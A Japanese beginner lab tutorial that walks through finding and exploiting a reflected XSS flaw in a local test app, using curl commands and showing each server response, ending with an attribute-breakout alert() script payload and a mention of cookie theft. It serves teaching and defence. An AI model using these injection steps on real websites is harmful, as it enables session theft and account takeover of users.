反射型クロスサイトスクリプティング (XSS)

サイバーセキュリティBeginner
オンラインで実践に進む

はじめに

反射型クロスサイトスクリプティング(Reflected XSS)は、アプリケーションが HTTP リクエストでデータを受け取り、そのデータを安全でない方法で即座に HTTP レスポンスに含める際に発生する一般的な Web 脆弱性です。注入された悪意のあるスクリプトが Web サーバーから「反射(Reflected)」されるため、被害者のブラウザ上で実行されます。これにより、攻撃者はセッションクッキーの盗難、ユーザーになりすました操作の実行、あるいは Web サイトの改ざんを行うことが可能になります。

重要な点は、XSS がブラウザ側でのコード実行バグであるということです。サーバーがペイロードを反射させることはありますが、スクリプトが実際に実行され、信頼の境界が破られるのはブラウザ上です。

この実験では、ローカルでホストされている脆弱な Web アプリケーションを操作します。反射型 XSS を見つけて悪用するための体系的なアプローチ(入力がどこに反射されるかの特定、アプリケーションによる特殊文字の処理方法のテスト、既存の HTML 構造からの脱出、そして最終的な悪意ある JavaScript ペイロードの実行)を学びます。

反射ポイントの特定

このステップでは、Web アプリケーション内の反射ポイントを特定する方法を学びます。反射ポイントとは、HTTP リクエストで提供した入力が、アプリケーションの HTTP レスポンス内で表示(または「反射」)される場所のことです。

ローカルマシン上で、ポート 8080 でアクセス可能な脆弱な Web アプリケーションを起動しています。このアプリケーションには、q という名前のクエリパラメータを受け取る検索機能があります。

反射ポイントを見つけるには、一意で識別しやすい文字列をアプリケーションに送信し、レスポンスのソースコード内にそれが現れるかを確認する必要があります。ここでは curl コマンドラインツールを使用して、アプリケーションに HTTP GET リクエストを送信します。

反射は必要条件ですが、それだけでは不十分です。入力がブラウザの解析によって実行可能なコードに変換されるコンテキストで戻ってくる必要があります。

ターミナルで以下のコマンドを実行し、テスト文字列 REFLECTION_TEST を検索エンドポイントに送信してください。

curl -s "http://localhost:8080/search?q=REFLECTION_TEST"

ターミナルに表示された HTML 出力をよく見てください。入力した REFLECTION_TEST が HTML 構造の中に直接埋め込まれているのが確認できるはずです。

<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
    <h2>Search Results</h2>
    <form action="/search" method="GET">
        <input type="text" name="q" value="REFLECTION_TEST">
        <button type="submit">Search Again</button>
    </form>
</body>
</html>

入力内容が <input> タグの value 属性の中に配置されていることに注目してください。これは、アプリケーションが URL から入力を受け取り、それを HTML レスポンスに直接反射させていることを裏付けています。これが反射型 XSS 脆弱性に必要な最初の条件です。

文字フィルタリングのテスト (< > ")

このステップでは、アプリケーションが特殊な HTML 文字をサニタイズ(無害化)またはフィルタリングしているかどうかをテストします。

ここでの真の防御策は、コンテキストに応じたエンコーディングです。入力が要素の本文、HTML 属性、JavaScript、URL のどこに配置されるかによって、危険な文字は異なります。

反射ポイントを見つけるだけでは、XSS 脆弱性を確認するには不十分です。現代の Web フレームワークは、特殊文字を自動的にエンコードすることがよくあります。例えば、小なり記号 < は &lt; に変換されるかもしれません。アプリケーションがこれらの文字をエンコードしていれば、ブラウザはそれらを実行可能なコードではなく安全なテキストとして扱うため、XSS は防止されます。

悪意のある HTML や JavaScript を注入するには、通常、小なり記号 <(タグを開始するため)、大なり記号 >(タグを閉じるため)、および二重引用符 "(属性を操作するため)といった文字が必要です。

これらの特殊文字を含む新しいペイロードを送信して、アプリケーションがどのように処理するかを確認しましょう。Linux シェルが特殊文字を解釈しないように、curl コマンドでは URL をシングルクォートで囲みます。

以下のコマンドを実行して、文字フィルタリングをテストしてください。

curl -s 'http://localhost:8080/search?q=FILTER_TEST<>"'

サーバーから返された出力を確認します。

<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
    <h2>Search Results</h2>
    <form action="/search" method="GET">
        <input type="text" name="q" value="FILTER_TEST<>"">
        <button type="submit">Search Again</button>
    </form>
</body>
</html>

<input> タグ内の value 属性を観察してください。文字 <>" は、HTML エンコーディング(&lt; や &quot; など)されることなく、送信した通りに反射されています。このサニタイズの欠如は、アプリケーションがクロスサイトスクリプティングに対して非常に脆弱である可能性が高いことを裏付けています。

HTML コンテキストからの脱出

このステップでは、ペイロード注入の準備として、現在の HTML コンテキストから脱出する方法を学びます。

これは実践的な XSS 作業の核心です。自分がどのパーサーコンテキストにいるかを理解し、構文を利用して安全に、より危険なコンテキストへと脱出するのです。

XSS においてコンテキストは極めて重要です。今回の脆弱なアプリケーションでは、反射ポイントは HTML 属性の中、つまり value="[YOUR_INPUT]" にあります。もし単に <script> タグをそのまま注入しても、それは入力フィールドのテキスト値の一部になってしまい、ブラウザによって実行されることはありません。

ブラウザにコードを実行させるには、まず value 属性から「脱出」し、<input> タグを閉じる必要があります。

属性は二重引用符で囲まれているため、二重引用符 " を注入することで value 属性を強制的に終了させることができます。次に、大なり記号 > を注入して <input> タグ自体を閉じます。

この脱出テクニックをテストしてみましょう。以下のペイロードをアプリケーションに送信してください。

curl -s 'http://localhost:8080/search?q=BREAKOUT">'

HTML 出力を注意深く確認してください。

<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
    <h2>Search Results</h2>
    <form action="/search" method="GET">
        <input type="text" name="q" value="BREAKOUT">">
        <button type="submit">Search Again</button>
    </form>
</body>
</html>

<input> タグに何が起きたかを見てください。HTML は value="BREAKOUT">"> となっています。

注入した " が value 属性を正常に閉じ、注入した > が <input> タグを閉じました。末尾に残っている "> は、アプリケーションのテンプレート元来の閉じ引用符とブラケットであり、ページ上で無害なテキストとして取り残されています。

これで HTML 属性コンテキストからの脱出に成功しました。ペイロードの直後のスペースは、標準的な HTML 本文コンテンツとして扱われるようになり、新しいタグを導入できるようになります。

JavaScript ペイロードの実行

最後のステップでは、脱出テクニックと悪意のある JavaScript ペイロードを組み合わせて、クロスサイトスクリプティングを実現します。

<input> タグから脱出する方法がわかったので、脱出シーケンスの直後に任意の有効な HTML や JavaScript を追加できます。XSS の最も一般的な概念実証(PoC)は、JavaScript の alert() ボックスをトリガーする <script> タグを注入することです。

完全なペイロードは "><script>alert("XSS")</script> となります。

このペイロードの仕組みは以下の通りです。"> シーケンスが value 属性から脱出し、<input> タグを閉じます。次に、<script> タグが新しい JavaScript 実行ブロックを開始します。このブロック内で alert("XSS") が実行される JavaScript コードとなります。最後に、</script> タグが実行ブロックを閉じます。

以下のコマンドを実行して、完全な XSS ペイロードを注入してください。

curl -s 'http://localhost:8080/search?q="><script>alert("XSS")</script>'

最終的な HTML 出力を確認します。

<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
    <h2>Search Results</h2>
    <form action="/search" method="GET">
        <input type="text" name="q" value=""><script>alert("XSS")</script>">
        <button type="submit">Search Again</button>
    </form>
</body>
</html>

もし被害者がこのペイロードを含むリンク(例:http://localhost:8080/search?q="><script>alert("XSS")</script>)を Web ブラウザでクリックした場合、ブラウザは HTML を上から順に解析します。注入された <script> タグに到達すると、JavaScript コードが実行され、「XSS」と書かれたアラートボックスがポップアップ表示されます。

現実の攻撃では、無害なアラートの代わりに、攻撃者は被害者のセッションクッキー(document.cookie)を盗み出し、悪意のあるサーバーに送信するコードを注入することで、アカウントの完全な乗っ取りへと繋げます。

まとめ

おめでとうございます!反射型クロスサイトスクリプティング(XSS)の実験を無事に完了しました。

この実験では、以下の方法を学びました。

  • 一意の文字列を送信し、HTTP レスポンスを分析することで反射ポイントを特定する。
  • 文字フィルタリングをテストし、アプリケーションが特殊な HTML 文字を安全にエンコードしているかを確認する。
  • 引用符やブラケットを操作して、HTML 属性コンテキストから脱出する。
  • 完全な JavaScript ペイロードを構築・注入し、ブラウザ内でのコード実行を実現する。

これらのメカニズムを理解することは、セキュリティリサーチャーとして脆弱性を特定するためにも、開発者として適切な入力サニタイズや出力エンコーディングを実装するためにも不可欠です。